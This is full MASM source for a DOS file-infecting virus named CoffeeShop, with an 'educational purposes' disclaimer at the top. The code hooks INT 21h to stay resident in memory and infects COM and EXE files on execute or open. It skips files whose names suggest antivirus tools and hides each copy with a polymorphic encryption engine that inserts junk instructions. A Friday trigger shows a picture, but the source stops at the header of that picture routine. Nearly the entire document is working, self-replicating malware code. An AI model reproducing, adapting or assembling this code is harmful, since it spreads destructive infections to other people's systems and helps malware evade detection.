;******************************************************************************
;*  CoffeeShop VIRUS     version 3
;*
;*  Use MASM 4.0 to compile this source
;*  (other assemblers will probably not produce the same result)
;*
;*  Disclaimer:
;*  This file is only for educational purposes. The author takes no
;*  responsibility for anything anyone does with this file. Do not
;*  modify this file!
;******************************************************************************
 

                .RADIX  16


_TEXT           segment

                assume  cs:_TEXT, ds:_TEXT


VERSION         equ     3
PICLEN          equ     last - beeld            ;length of picture routine
FILELEN         equ     last - first            ;length of virus
FILEPAR         equ     (FILELEN + 0F)/10       ;length of virus in paragraphs
VIRPAR          equ     00D0                    ;space for resident virus
WORKPAR         equ     0160                    ;work space for engine
STACKOFF        equ     1000                    ;Stack offset
DATAPAR         equ     0050                    ;extra memory allocated
BUFLEN          equ     1C                      ;length of buffer


;****************************************************************************
;*              data area for virus
;****************************************************************************

                org     00E0

mutstack        dw      0, 0
oldlen          dw      0, 0
oi21            dw      0, 0
minibuf         db      0, 0, 0, 0


;****************************************************************************
;*              data area for engine
;****************************************************************************

add_val         dw      0
xor_val         dw      0
xor_offset      dw      0
where_len       dw      0
where_len2      dw      0
flags           db      0


;******************************************************************************
;*              Begin of virus, installation in memory
;******************************************************************************

                org     0100

first:          call    next                    ;get IP
next:           pop     si

                sub     si,low 3                ;SI = begin virus
                mov     di,0100
                cld

                push    ax                      ;save registers
                push    ds
                push    es
                push    di
                push    si

                mov     ah,30                   ;DOS version >= 3.1?
                int     21
                xchg    ah,al
                cmp     ax,030A
                jb      not_install

                mov     ax,33DA                 ;already resident?
                int     21
                cmp     ah,0A5
                je      not_install

                mov     ax,es                   ;adjust memory-size
                dec     ax
                mov     ds,ax
                xor     bx,bx
                cmp     byte ptr [bx],5A
                jne     not_install
                mov     ax,[bx+3]
                sub     ax,(VIRPAR+WORKPAR)
                jb      not_install
                mov     [bx+3],ax
                sub     word ptr ds:[bx+12],(VIRPAR+WORKPAR)

                mov     es,[bx+12]              ;copy program to top
                push    cs
                pop     ds
                mov     cx,FILELEN
        rep     movsb

                push    es
                pop     ds

                mov     ax,3521                 ;get original int21 vector
                int     21
                mov     ds:[oi21],bx
                mov     ds:[oi21+2],es

                mov     dx,offset ni21          ;install new int21 handler
                mov     ax,2521
                int     21

                mov     ax,33DBh                ;init. random nr. generator
                int     21

                mov     ah,2A                   ;ask date
                int     21
                cmp     al,5                    ;friday ?
                jne     not_install
                mov     ah,2C                   ;ask time
                int     21
                or      dh,dh                   ;sec = 0 ?
                jnz     not_install
                
                mov     ax,33DC                 ;show picture
                int     21

not_install:    pop     si                      ;restore registers
                pop     di
                pop     es
                pop     ds
                pop     ax

                add     si,(offset buffer)
                sub     si,di
                cmp     byte ptr cs:[si],4Dh    ;COM or EXE ?
                je      entryE

entryC:         push    di
                mov     cx,BUFLEN
        rep     movsb
                ret

entryE:         mov     bx,ds                   ;calculate CS
                add     bx,low 10
                mov     cx,bx
                add     bx,cs:[si+0E]
                cli                             ;restore SS and SP
                mov     ss,bx
                mov     sp,cs:[si+10]
                sti
                add     cx,cs:[si+16]
                push    cx                      ;push new CS on stack
                push    cs:[si+14]              ;push new IP on stack
                db      0CBh                    ;retf


;******************************************************************************
;*              Interupt 24 handler
;******************************************************************************

ni24:           mov     al,3                    ;to avoid 'Abort, Retry, ...'
                iret


;******************************************************************************
;*              Interupt 21 handler
;******************************************************************************

ni21:           pushf

                cmp     ax,33DA                 ;install-check ?
                jne     not_ic
                mov     ax,0A500+VERSION        ;return a signature
                popf
                iret

not_ic:         push    es                      ;save registers
                push    ds
                push    si
                push    di
                push    dx
                push    cx
                push    bx
                push    ax

                cmp     ax,33DBh                ;rnd init ?
                jne     not_ri
                call    rnd_init
                jmp     short no_infect

not_ri:         cmp     ax,33DC                 ;show picture?
                je      show_pic

not_pi:         cmp     ax,4B00                 ;execute ?
                je      do_it

                cmp     ax,6C00                 ;open DOS 4.0+ ?
                jne     no_infect
                test    bl,3
                jnz     no_infect
                mov     dx,di

do_it:          call    infect

no_infect:      pop     ax                      ;restore registers
                pop     bx
                pop     cx
                pop     dx
                pop     di
                pop     si
                pop     ds
                pop     es
                popf

org21:          jmp     dword ptr cs:[oi21]     ;call to old int-handler


;******************************************************************************
;*              Show picture
;******************************************************************************

show_pic:       mov     ax,offset no_infect     ;push return adres on stack
                push    cs
                push    ax

                mov     di,((VIRPAR*10)+0100)   ;move picture routine
                mov     si,offset beeld
                mov     cx,PICLEN
                push    cs
                pop     ds
                push    cs
                pop     es
        rep     movsb

                mov     ax,cs                   ;calculate segment registers
                add     ax,low VIRPAR
                mov     ds,ax
                mov     es,ax

                push    ax                      ;push picture adres on stack
                mov     ax,0100
                push    ax

                db      0CBh                    ;(retf) goto picture routine


;******************************************************************************
;*              Tries to infect the file
;******************************************************************************

infect:         cld

                push    cs                      ;copy filename to CS:0000
                pop     es
                mov     si,dx
                xor     di,di
                mov     cx,0080
namemove:       lodsb
                cmp     al,0
                je      moved
                cmp     al,'a'
                jb      char_ok
                cmp     al,'z'
                ja      char_ok
                xor     al,20                   ;convert to upper case
char_ok:        stosb
                loop    namemove
return0:        ret

moved:          stosb                           ;put last zero after filename
                lea     si,[di-5]
                push    cs
                pop     ds
                
                lodsw                           ;check extension .COM or .EXE
                cmp     ax,'E.'
                jne     not_exe
                lodsw
                cmp     ax,'EX'
                jmp     short check

not_exe:        cmp     ax,'C.'
                jne     return0
                lodsw
                cmp     ax,'MO'
check:          jne     return0

                std                             ;find begin of filename
                mov     cx,si
                inc     cx
searchbegin:    lodsb
                cmp     al,':'
                je      checkname
                cmp     al,'\'
                je      checkname
                loop    searchbegin
                dec     si

checkname:      cld                             ;check filename
                lodsw
                lodsw
                mov     di,offset names
                mov     cl,13
        repnz   scasw
                je      return0

                mov     ax,3300                 ;get ctrl-break flag
                int     21
                push    dx                      ;save flag on stack

                cwd                             ;clear the flag
                inc     ax
                push    ax
                int     21

                mov     ax,3524                 ;get int24 vector
                int     21
                push    es                      ;save vector on stack
                push    bx

                push    cs
                pop     ds

                mov     dx,offset ni24          ;install new int24 handler
                mov     ah,25
                push    ax
                int     21

                mov     ax,4300                 ;ask file-attributes
                cwd
                int     21
                push    cx                      ;save attributes on stack

                xor     cx,cx                   ;clear attributes
                mov     ax,4301
                push    ax
                int     21
                jc      return1v

                mov     ax,3D02                 ;open the file
                int     21
                jnc     opened
return1v:       jmp     return1

opened:         xchg    ax,bx                   ;save handle

                mov     ax,5700                 ;get file date & time
                int     21
                push    dx                      ;save date & time on stack
                push    cx

                mov     cx,BUFLEN               ;read begin of file
                mov     si,offset buffer
                mov     dx,si
                call    read
                jc      closev

                mov     ax,4202                 ;goto end, get filelength
                xor     cx,cx
                cwd
                int     21

                mov     di,offset oldlen        ;save filelength
                mov     [di],ax
                mov     [di+2],dx

                mov     ax,word ptr [si+12]     ;already infected?
                add     al,ah
                cmp     al,'@'
                jz      closev

                cmp     word ptr [si],'ZM'      ;EXE ?
                je      do_EXE

do_COM:         test    byte ptr [si],80        ;maybe a strange EXE?
                jz      closev

                mov     ax,word ptr [di]        ;check lenght of file
                cmp     ah,0D0
                jae     closev
                cmp     ah,1
                jb      closev

                mov     dx,ax
                add     dx,0100
                call    writeprog               ;call Engine and write virus
                jne     closev

                mov     byte ptr [si],0E9       ;put 'JMP xxxx' at begin
                sub     ax,low 3
                mov     word ptr [si+1],ax
                jmp     done

closev:         jmp     close

do_EXE:         cmp     word ptr [si+18],40     ;is it a windows/OS2 EXE ?
                jb      not_win

                mov     ax,003C
                cwd
                call    readbytes
                jc      closev

                mov     ax,word ptr [di+8]
                mov     dx,word ptr [di+0A]
                call    readbytes
                jc      closev
                
                cmp     byte ptr [di+9],'E'
                je      closev

not_win:        call    getlen
                call    calclen                 ;check for internal overlays
                cmp     word ptr [si+4],ax
                jne     close
                cmp     word ptr [si+2],dx
                jne     close

                cmp     word ptr [si+0C],0      ;high memory allocation?
                je      close

                cmp     word ptr [si+1A],0      ;overlay nr. not zero?
                jne     close

                call    getlen                  ;calculate new CS & IP
                mov     cx,0010
                div     cx
                sub     ax,word ptr [si+8]
                dec     ax
                add     dx,low 10

                call    writeprog               ;call Engine and write virus
                jne     close

                mov     word ptr [si+16],ax     ;put CS in header
                mov     word ptr [si+0E],ax     ;put SS in header
                mov     word ptr [si+14],dx     ;put IP in header
                mov     word ptr [si+10],STACKOFF  ;put SP in header

                call    getlen
                add     ax,cx
                adc     dx,0
                call    calclen                 ;put new length in header
                mov     word ptr [si+4],ax
                mov     word ptr [si+2],dx

                lea     di,[si+0A]              ;adjust mem. allocation info
                call    mem_adjust
                lea     di,[si+0C]
                call    mem_adjust

done:           call    gotobegin
                call    rnd_get                 ;signature
                mov     ah,'@'
                sub     ah,al
                mov     word ptr [si+12],ax
                mov     cx,BUFLEN               ;write new begin
                mov     dx,si
                mov     ah,40
                int     21

close:          pop     cx                      ;restore date & time
                pop     dx
                mov     ax,5701
                int     21

                mov     ah,3E                   ;close the file
                int     21

return1:        pop     ax                      ;restore attributes
                pop     cx
                cwd
                int     21

                pop     ax                      ;restore int24 vector
                pop     dx
                pop     ds
                int     21

                pop     ax                      ;restore ctrl-break flag
                pop     dx
                int     21

                ret


;******************************************************************************
;*              Filenames to avoid
;******************************************************************************

names:          db      'CO', 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI'
                db      'FI', 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', '  '
                db      '  ', '  ', '  '


;******************************************************************************
;*              Write virus to the program
;******************************************************************************

writeprog:      push    ax                      ;save registers
                push    dx
                push    si
                push    bp
                push    es

                cli
                mov     word ptr [di-4],ss      ;save SS & SP
                mov     word ptr [di-2],sp

                mov     ax,cs                   ;new stack & buffer-segment
                mov     ss,ax
                mov     sp,((VIRPAR + WORKPAR) * 10)
                add     ax,low VIRPAR
                mov     es,ax
                sti

                push    ds

                mov     bp,dx                   ;input parameters for engine
                mov     dx,0100
                mov     cx,FILELEN
                xor     si,si
                mov     al,0Fh

                push    di
                push    bx

                call    crypt                   ;call the Engine

                pop     bx
                pop     di

                push    cx
                push    dx
                mov     ax,4202                 ;goto end
                xor     cx,cx
                cwd
                int     21
                pop     dx
                pop     cx

                mov     ah,40                   ;write virus
                int     21
                cmp     ax,cx                   ;are all bytes written?

                pop     ds

                cli
                mov     ss,word ptr [di-4]      ;restore stack
                mov     sp,word ptr [di-2]
                sti

                pop     es                      ;restore registers
                pop     bp
                pop     si
                pop     dx
                pop     ax

                ret


;******************************************************************************
;*              Adjust mem allocation info in EXE header
;******************************************************************************

mem_adjust:     mov     ax,[di]
                sub     ax,low FILEPAR          ;alloc. may be this much less
                jb      more
                cmp     ax,DATAPAR              ;minimum amount to allocate
                jae     mem_ok
more:           mov     ax,DATAPAR
mem_ok:         mov     [di],ax
                ret


;******************************************************************************
;*              Read a few bytes
;******************************************************************************

readbytes:      call    goto
                mov     dx,offset minibuf
                mov     cx,4
read:           mov     ah,3F
                int     21
                ret


;******************************************************************************
;*              Calculate length for EXE header
;******************************************************************************

calclen:        mov     cx,0200
                div     cx
                or      dx,dx
                jz      no_cor
                inc     ax
no_cor:         ret


;******************************************************************************
;*              Get original length of program
;******************************************************************************

getlen:         mov     ax,[di]
                mov     dx,[di+2]
                ret


;******************************************************************************
;*              Goto new offset DX:AX
;******************************************************************************

gotobegin:      xor     ax,ax
                cwd
goto:           xchg    cx,dx
                xchg    ax,dx
                mov     ax,4200
                int     21
                ret


;****************************************************************************
;*
;*              Encryption Engine
;*
;*
;*      Input:  ES      work segment
;*              DS:DX   code to encrypt
;*              BP      what will be start of decryptor
;*              SI      what will be distance between decryptor and code
;*              CX      length of code
;*              AX      flags: bit 0: DS will not be equal to CS
;*                             bit 1: insert random instructions
;*                             bit 2: put junk before decryptor
;*                             bit 3: preserve AX with decryptor
;*
;*      Output: ES:     work segment (preserved)
;*              DS:DX   decryptor + encrypted code
;*              BP      what will be start of decryptor (preserved)
;*              DI      length of decryptor / offset of encrypted code
;*              CX      length of decryptor + encrypted code
;*              AX      length of encrypted code
;*              (other registers may be trashed)
;*
;****************************************************************************

                db      '[ MK / Trident ]'

crypt:          xor     di,di                   ;di = start of decryptor
                push    dx                      ;save offset of code
                push    si                      ;save future offset of code

                mov     byte ptr ds:[flags],al  ;save flags
                test    al,8                    ;push  AX?
                jz      no_push
                mov     al,50
                stosb

no_push:        call    rnd_get                 ;add a few bytes to cx
                and     ax,1F
                add     cx,ax
                push    cx                      ;save length of code

                call    rnd_get                 ;get random flags
                xchg    ax,bx
                                        ;BX flags:

                                        ;0,1    how to encrypt
                                        ;2,3    which register for encryption
                                        ;4      use byte or word for encrypt
                                        ;5      MOV AL, MOV AH or MOV AX
                                        ;6      MOV CL, MOV CH or MOV CX
                                        ;7      AX or DX

                                        ;8      count up or down
                                        ;9      ADD/SUB/INC/DEC or CMPSW/SCASW
                                        ;A      ADD/SUB or INC/DEC
                                        ;       CMPSW or SCASW
                                        ;B      offset in XOR instruction?
                                        ;C      LOOPNZ or LOOP
                                        ;       SUB CX or DEC CX
                                        ;D      carry with crypt ADD/SUB
                                        ;E      carry with inc ADD/SUB
                                        ;F      XOR instruction value or AX/DX

random:         call    rnd_get                 ;get random encryption value
                or      al,al
                jz      random                  ;again if 0
                mov     ds:[xor_val],ax

                call    do_junk                 ;insert random instructions

                pop     cx

                mov     ax,0111                 ;make flags to remember which
                test    bl,20                   ;  MOV instructions are used
                jnz     z0
                xor     al,07
z0:             test    bl,0C
                jnz     z1
                xor     al,70
z1:             test    bl,40
                jnz     z2
                xor     ah,7
z2:             test    bl,10
                jnz     z3
                and     al,73
z3:             test    bh,80
                jnz     z4
                and     al,70

z4:             mov     dx,ax
mov_lup:        call    rnd_get                 ;put MOV instructions in
                and     ax,000F                 ;  a random order
                cmp     al,0A
                ja      mov_lup

                mov     si,ax
                push    cx                      ;test if MOV already done
                xchg    ax,cx
                mov     ax,1
                shl     ax,cl
                mov     cx,ax
                and     cx,dx
                pop     cx
                jz      mov_lup
                xor     dx,ax                   ;remember which MOV done

                push    dx
                call    do_mov                  ;insert MOV instruction
                call    do_nop                  ;insert a random NOP
                pop     dx

                or      dx,dx                   ;all MOVs done?
                jnz     mov_lup

                push    di                      ;save start of decryptor loop

                call    do_add_ax               ;add a value to AX in loop?
                call    do_nop
                test    bh,20                   ;carry with ADD/SUB ?
                jz      no_clc
                mov     al,0F8
                stosb
no_clc:         mov     word ptr ds:[xor_offset],0
                call    do_xor                  ;place all loop instructions
                call    do_nop
                call    do_add

                pop     dx                      ;get start of decryptor loop

                call    do_loop

                test    byte ptr ds:[flags],8   ;insert POP AX ?
                jz      no_pop
                mov     al,58
                stosb

no_pop:         xor     ax,ax                   ;calculate loop offset
                test    bh,1                    ;up or down?
                jz      v1
                mov     ax,cx
                dec     ax
                test    bl,10                   ;encrypt with byte or word?
                jz      v1
                and     al,0FE
v1:             add     ax,di
                add     ax,bp
                pop     si
                add     ax,si
                sub     ax,word ptr ds:[xor_offset]
                mov     si,word ptr ds:[where_len]
                test    bl,0C                   ;are BL,BH used for encryption?
                jnz     v2
                mov     byte ptr es:[si],al
                mov     si,word ptr ds:[where_len2]
                mov     byte ptr es:[si],ah
                jmp     short v3
v2:             mov     word ptr es:[si],ax

v3:             mov     dx,word ptr ds:[xor_val]   ;encryption value

                pop     si                      ;ds:si = start of code

                push    di                      ;save ptr to encrypted code
                push    cx                      ;save length of encrypted code

                test    bl,10                   ;byte or word?
                jz      blup

                inc     cx                      ;cx = # of crypts (words)
                shr     cx,1

lup:            lodsw                           ;encrypt code (words)
                call    do_encrypt
                stosw
                loop    lup
                jmp     short klaar


blup:           lodsb                           ;encrypt code (bytes)
                xor     dh,dh
                call    do_encrypt
                stosb
                loop    blup

klaar:          mov     cx,di                   ;cx = length decryptpr + code
                pop     ax                      ;ax = length of decrypted code
                pop     di                      ;di = offset encrypted code
                xor     dx,dx                   ;ds:dx = decryptor + cr. code
                push    es
                pop     ds
                ret


;****************************************************************************
;*              encrypt the code
;****************************************************************************

do_encrypt:     add     dx,word ptr ds:[add_val]
                test    bl,2
                jnz     lup1
                xor     ax,dx
                ret

lup1:           test    bl,1
                jnz     lup2
                sub     ax,dx
                ret

lup2:           add     ax,dx
                ret


;****************************************************************************
;*              generate mov reg,xxxx
;****************************************************************************

do_mov:         mov     dx,si
                mov     al,byte ptr ds:[si+mov_byte]
                cmp     dl,4                    ;BX?
                jne     is_not_bx
                call    add_ind
is_not_bx:      test    dl,0C                   ;A*?
                pushf
                jnz     is_not_a
                test    bl,80                   ;A* or D*?
                jz      is_not_a
                add     al,2

is_not_a:       call    alter                   ;insert the MOV

                popf                            ;A*?
                jnz     is_not_a2
                mov     ax,word ptr ds:[xor_val]
                jmp     short sss

is_not_a2:      test    dl,8                    ;B*?
                jnz     is_not_b
                mov     si,offset where_len                
                test    dl,2
                jz      is_not_bh
                add     si,2
is_not_bh:      mov     word ptr ds:[si],di
                jmp     short sss

is_not_b:       mov     ax,cx                   ;C*
                test    bl,10                   ;byte or word encryption?
                jz      sss
                inc     ax                      ;only half the number of bytes
                shr     ax,1
sss:            test    dl,3                    ;byte or word register?
                jz      is_x
                test    dl,2                    ;*H?
                jz      is_not_h
                xchg    al,ah
is_not_h:       stosb
                ret

is_x:           stosw
                ret


;****************************************************************************
;*              insert MOV or alternative for MOV
;****************************************************************************

alter:          push    bx
                push    cx
                push    ax
                call    rnd_get
                xchg    ax,bx
                pop     ax
                test    bl,3                    ;use alternative for MOV?
                jz      no_alter

                push    ax
                and     bx,0F
                and     al,08
                shl     ax,1
                or      bx,ax
                pop     ax

                and     al,7
                mov     cl,9
                xchg    ax,cx
                mul     cl

                add     ax,30C0
                xchg    al,ah
                test    bl,4
                jz      no_sub
                mov     al,28
no_sub:         call    maybe_2
                stosw

                mov     al,80
                call    maybe_2
                stosb

                mov     ax,offset add_mode
                xchg    ax,bx
                and     ax,3
                xlat

                add     al,cl
no_alter:       stosb
                pop     cx
                pop     bx
                ret


;****************************************************************************
;*              insert ADD AX,xxxx
;****************************************************************************

do_add_ax:      push    cx
                mov     si,offset add_val       ;save add-value here
                mov     word ptr ds:[si],0
                mov     ax,bx
                and     ax,8110
                xor     ax,8010
                jnz     no_add_ax               ;use ADD?

                mov     ax,bx
                xor     ah,ah
                mov     cl,3
                div     cl
                or      ah,ah
                jnz     no_add_ax               ;use ADD?

                test    bl,80
                jnz     do_81C2                 ;AX or DX?
                mov     al,5
                stosb
                jmp     short do_add0
do_81C2:        mov     ax,0C281
                stosw
do_add0:        call    rnd_get
                mov     word ptr ds:[si],ax
                stosw
no_add_ax:      pop     cx
                ret


;****************************************************************************
;*              generate encryption command
;****************************************************************************

do_xor:         test    byte ptr ds:[flags],1
                jz      no_cs
                mov     al,2E                   ;insert CS: instruction
                stosb

no_cs:          test    bh,80                   ;type of XOR command
                jz      xor1

                call    get_xor                 ;encrypt with register
                call    do_carry
                call    save_it
                xor     ax,ax
                test    bl,80
                jz      xxxx
                add     al,10
xxxx:           call    add_dir
                test    bh,8
                jnz     yyyy
                stosb
                ret

yyyy:           or      al,80
                stosb             
                call    rnd_get
                stosw
                mov     word ptr ds:[xor_offset],ax
                ret

xor1:           mov     al,080                  ;encrypt with value
                call    save_it
                call    get_xor
                call    do_carry
                call    xxxx
                mov     ax,word ptr ds:[xor_val]
                test    bl,10
                jmp     byte_word


;****************************************************************************
;*              generate increase/decrease command
;****************************************************************************

do_add:         test    bl,8                    ;no CMPSW/SCASW if BX is used
                jz      da0
                test    bh,2                    ;ADD/SUB/INC/DEC or CMPSW/SCASW
                jnz     do_cmpsw

da0:            test    bh,4                    ;ADD/SUB or INC/DEC?
                jz      add1

                mov     al,40                   ;INC/DEC
                test    bh,1                    ;up or down?
                jz      add0
                add     al,8
add0:           call    add_ind
                stosb
                test    bl,10                   ;byte or word?
                jz      return
                stosb                           ;same instruction again
return:         ret

add1:           test    bh,40                   ;ADD/SUB
                jz      no_clc2                 ;carry?
                mov     al,0F8                  ;insert CLC
                stosb
no_clc2:        mov     al,083
                stosb
                mov     al,0C0
                test    bh,1                    ;up or down?
                jz      add2
                mov     al,0E8
add2:           test    bh,40                   ;carry?
                jz      no_ac2
                and     al,0CF
                or      al,10
no_ac2:         call    add_ind
                stosb
                mov     al,1                    ;value to add/sub
save_it:        call    add_1
                stosb
                ret

do_cmpsw:       test    bh,1                    ;up or down?
                jz      no_std
                mov     al,0FDh                 ;insert STD
                stosb
no_std:         test    bh,4                    ;CMPSW or SCASW?
                jz      normal_cmpsw
                test    bl,4                    ;no SCASW if SI is used
                jnz     do_scasw

normal_cmpsw:   mov     al,0A6                  ;CMPSB
                jmp     short save_it
do_scasw:       mov     al,0AE                  ;SCASB
                jmp     short save_it


;****************************************************************************
;*              generate loop command
;****************************************************************************

do_loop:        test    bh,1                    ;no JNE if couting down
                jnz     loop_loop               ;  (prefetch bug!)
                call    rnd_get
                test    al,1                    ;LOOPNZ/LOOP or JNE?
                jnz     cx_loop

loop_loop:      mov     al,0E0
                test    bh,1A                   ;LOOPNZ or LOOP?
                jz      ll0                     ;  no LOOPNZ if xor-offset
                add     al,2                    ;  no LOOPNZ if CMPSW/SCASW
ll0:            stosb
                mov     ax,dx
                sub     ax,di
                dec     ax
                stosb
                ret

cx_loop:        test    bh,10                   ;SUB CX or DEC CX?
                jnz     cxl_dec
                mov     ax,0E983
                stosw
                mov     al,1
                stosb
                jmp     short do_jne                

cxl_dec:        mov     al,49
                stosb
do_jne:         mov     al,75
                jmp     short ll0


;****************************************************************************
;*              add value to AL depending on register type
;****************************************************************************

add_dir:        mov     si,offset dir_change
                jmp     short xx1

add_ind:        mov     si,offset ind_change
xx1:            push    bx
                shr     bl,1
                shr     bl,1
                and     bx,3
                add     al,byte ptr ds:[bx+si]
                pop     bx
                ret


;****************************************************************************
;*              mov encryption command byte to AL
;****************************************************************************

get_xor:        push    bx
                mov     ax,offset how_mode
                xchg    ax,bx
                and     ax,3
                xlat
                pop     bx
                ret


;****************************************************************************
;*              change ADD into ADC
;****************************************************************************

do_carry:       test    bl,2                    ;ADD/SUB used for encryption?
                jz      no_ac
                test    bh,20                   ;carry with (encr.) ADD/SUB?
                jz      no_ac
                and     al,0CF
                or      al,10
no_ac:          ret


;****************************************************************************
;*              change AL (byte/word)
;****************************************************************************

add_1:          test    bl,10
                jz      add_1_ret
                inc     al
add_1_ret:      ret


;****************************************************************************
;*              change AL (byte/word)
;****************************************************************************

maybe_2:        call    add_1
                cmp     al,81                   ;can't touch this
                je      maybe_not
                push    ax
                call    rnd_get
                test    al,1
                pop     ax
                jz      maybe_not
                add     al,2
maybe_not:      ret


;****************************************************************************
;*              get random nop (or not)
;****************************************************************************

do_nop:         test    byte ptr ds:[flags],2
                jz      no_nop
yes_nop:        call    rnd_get
                test    al,3
                jz      nop8
                test    al,2
                jz      nop16
                test    al,1
                jz      nop16x
no_nop:         ret


;****************************************************************************
;*              Insert random instructions
;****************************************************************************

do_junk:        test    byte ptr ds:[flags],4
                jz      no_junk
                call    rnd_get                 ;put a random number of
                and     ax,0F                   ;  dummy instructions before
                inc     ax                      ;  decryptor
                xchg    ax,cx
junk_loop:      call    junk
                loop    junk_loop
no_junk:        ret


;****************************************************************************
;*              get rough random nop (may affect register values)
;****************************************************************************

junk:           call    rnd_get
                and     ax,1E
                jmp     short aa0
nop16x:         call    rnd_get
                and     ax,06
aa0:            xchg    ax,si
                call    rnd_get
                jmp     word ptr ds:[si+junkcals]


;****************************************************************************
;*              NOP and junk addresses
;****************************************************************************

junkcals        dw      offset nop16x0
                dw      offset nop16x1
                dw      offset nop16x2
                dw      offset nop16x3
                dw      offset nop8
                dw      offset nop16
                dw      offset junk6
                dw      offset junk7
                dw      offset junk8
                dw      offset junk9
                dw      offset junkA
                dw      offset junkB
                dw      offset junkC
                dw      offset junkD
                dw      offset junkE
                dw      offset junkF


;****************************************************************************
;*              NOP and junk routines
;****************************************************************************

nop16x0:        and     ax,000F                 ;J* 0000 (conditional)
                or      al,70
                stosw
                ret


nop16x1:        mov     al,0EBh                 ;JMP xxxx / junk
                and     ah,07
                inc     ah
                stosw
                xchg    al,ah                   ;get lenght of bullshit
                cbw
                jmp     fill_bullshit


nop16x2:        call    junkD                   ;XCHG AX,reg / XCHG AX,reg
                stosb
                ret


nop16x3:        call    junkF                   ;INC / DEC or DEC / INC
                xor     al,8
                stosb
                ret


nop8:           push    bx                      ;8-bit NOP
                and     al,7
                mov     bx,offset nop_data8
                xlat
                stosb
                pop     bx
                ret


nop16:          push    bx                      ;16-bit NOP
                and     ax,0303
                mov     bx,offset nop_data16
                xlat
                add     al,ah
                stosb
                call    rnd_get
                and     al,7
                mov     bl,9
                mul     bl
                add     al,0C0
                stosb
                pop     bx
                ret


junk6:          push    cx                      ;CALL xxxx / junk / POP reg
                mov     al,0E8
                and     ah,0F
                inc     ah
                stosw
                xor     al,al
                stosb
                xchg    al,ah
                call    fill_bullshit
                call    do_nop
                call    rnd_get                 ;insert POP reg
                and     al,7
                call    no_sp
                mov     cx,ax
                or      al,58
                stosb

                test    ch,3                    ;more?
                jnz     junk6_ret

                call    do_nop
                mov     ax,0F087                ;insert XCHG SI,reg
                or      ah,cl
                test    ch,8
                jz      j6_1
                mov     al,8Bh
j6_1:           stosw

                call    do_nop
                push    bx
                call    rnd_get
                xchg    ax,bx
                and     bx,0F7FBh               ;insert XOR [SI],xxxx
                or      bl,8
                call    do_xor
                pop     bx
junk6_ret:      pop     cx
                ret


junk7:          and     al,0F                   ;MOV reg,xxxx
                or      al,0B0
                call    no_sp
                stosb
                test    al,8
                pushf
                call    rnd_get
                popf
                jmp     short byte_word


junk8:          and     ah,39                   ;DO r/m,r(8/16)
                or      al,0C0
                call    no_sp
                xchg    al,ah
                stosw
                ret


junk9:          and     al,3Bh                  ;DO r(8/16),r/m
                or      al,2
                and     ah,3F
                call    no_sp2
                call    no_bp
                stosw
                ret


junkA:          and     ah,1                    ;DO rm,xxxx
                or      ax,80C0
                call    no_sp
                xchg    al,ah       
                stosw
                test    al,1
                pushf
                call    rnd_get
                popf
                jmp     short byte_word


junkB:          call    nop8                    ;NOP / LOOP
                mov     ax,0FDE2
                stosw
                ret


junkC:          and     al,09                   ;CMPS* or SCAS*
                test    ah,1
                jz      mov_test
                or      al,0A6
                stosb
                ret
mov_test:       or      al,0A0                  ;MOV AX,[xxxx] or TEST AX,xxxx
                stosb
                cmp     al,0A8
                pushf
                call    rnd_get
                popf
                jmp     short byte_word


junkD:          and     al,07                   ;XCHG AX,reg
                or      al,90
                call    no_sp
                stosb
                ret


junkE:          and     ah,07                   ;PUSH reg / POP reg
                or      ah,50
                mov     al,ah
                or      ah,08
                stosw
                ret


junkF:          and     al,0F                   ;INC / DEC
                or      al,40
                call    no_sp
                stosb
                ret


;****************************************************************************
;*              store a byte or a word
;****************************************************************************

byte_word:      jz      only_byte
                stosw
                ret

only_byte:      stosb
                ret


;****************************************************************************
;*              don't fuck with SP!
;****************************************************************************

no_sp:          push    ax
                and     al,7
                cmp     al,4
                pop     ax
                jnz     no_sp_ret
                and     al,0FBh
no_sp_ret:      ret


;****************************************************************************
;*              don't fuck with SP!
;****************************************************************************

no_sp2:         push    ax
                and     ah,38
                cmp     ah,20
                pop     ax
                jnz     no_sp2_ret
                xor     ah,20
no_sp2_ret:     ret


;****************************************************************************
;*              don't use [BP+..]
;****************************************************************************

no_bp:          test    ah,4
                jnz     no_bp2
                and     ah,0FDh
                ret

no_bp2:         push    ax
                and     ah,7
                cmp     ah,6
                pop     ax
                jnz     no_bp_ret
                or      ah,1
no_bp_ret:      ret


;****************************************************************************
;*              write byte for JMP/CALL and fill with random bullshit
;****************************************************************************

fill_bullshit:  push    cx
                xchg    ax,cx
bull_lup:       call    rnd_get
                stosb
                loop    bull_lup
                pop     cx
                ret


;****************************************************************************
;*              random number generator  (stolen from 'Bomber')
;****************************************************************************

rnd_init:       push    cx
                call    rnd_init0               ;init
                and     ax,000F
                inc     ax
                xchg    ax,cx
random_lup:     call    rnd_get                 ;call random routine a few
                loop    random_lup              ;  times to 'warm up'
                pop     cx
                ret

rnd_init0:      push    dx                      ;initialize generator
                push    cx
                mov     ah,2C
                int     21
                in      al,40
                mov     ah,al
                in      al,40
                xor     ax,cx
                xor     dx,ax
                jmp     short move_rnd

rnd_get:        push    dx                      ;calculate a random number
                push    cx
                push    bx
                mov     ax,0                    ;will be: mov ax,xxxx
                mov     dx,0                    ;  and mov dx,xxxx
                mov     cx,7
rnd_lup:        shl     ax,1
                rcl     dx,1
                mov     bl,al
                xor     bl,dh
                jns     rnd_l2
                inc     al
rnd_l2:         loop    rnd_lup
                pop     bx

move_rnd:       mov     word ptr ds:[rnd_get+4],ax
                mov     word ptr ds:[rnd_get+7],dx
                mov     al,dl
                pop     cx
                pop     dx
                ret


;****************************************************************************
;*              tables for engine
;****************************************************************************

                ;       AX   AL   AH      (BX) BL   BH      CX   CL   CH
mov_byte        db      0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5

                ;       nop clc  stc  cmc  cli  cld incbp decbp
nop_data8       db      90, 0F8, 0F9, 0F5, 0FA, 0FC, 45,  4Dh

                ;      or and xchg mov
nop_data16      db      8, 20, 84, 88

                ;     bl/bh, bx, si  di
dir_change      db      07, 07, 04, 05
ind_change      db      03, 03, 06, 07


                ;       xor xor add sub
how_mode        db      30, 30, 00, 28

                ;       ?  add  xor  or
add_mode        db      0, 0C8, 0F0, 0C0


;****************************************************************************
;*              text + buffer
;****************************************************************************

                db      ' Amsterdam = COFFEESHOP! '

buffer          db      0CDh, 20                ;original code of dummy program
                db      (BUFLEN-2) dup (?)


;****************************************************************************
;*              the (packed) picture routine
;****************************************************************************
                                                
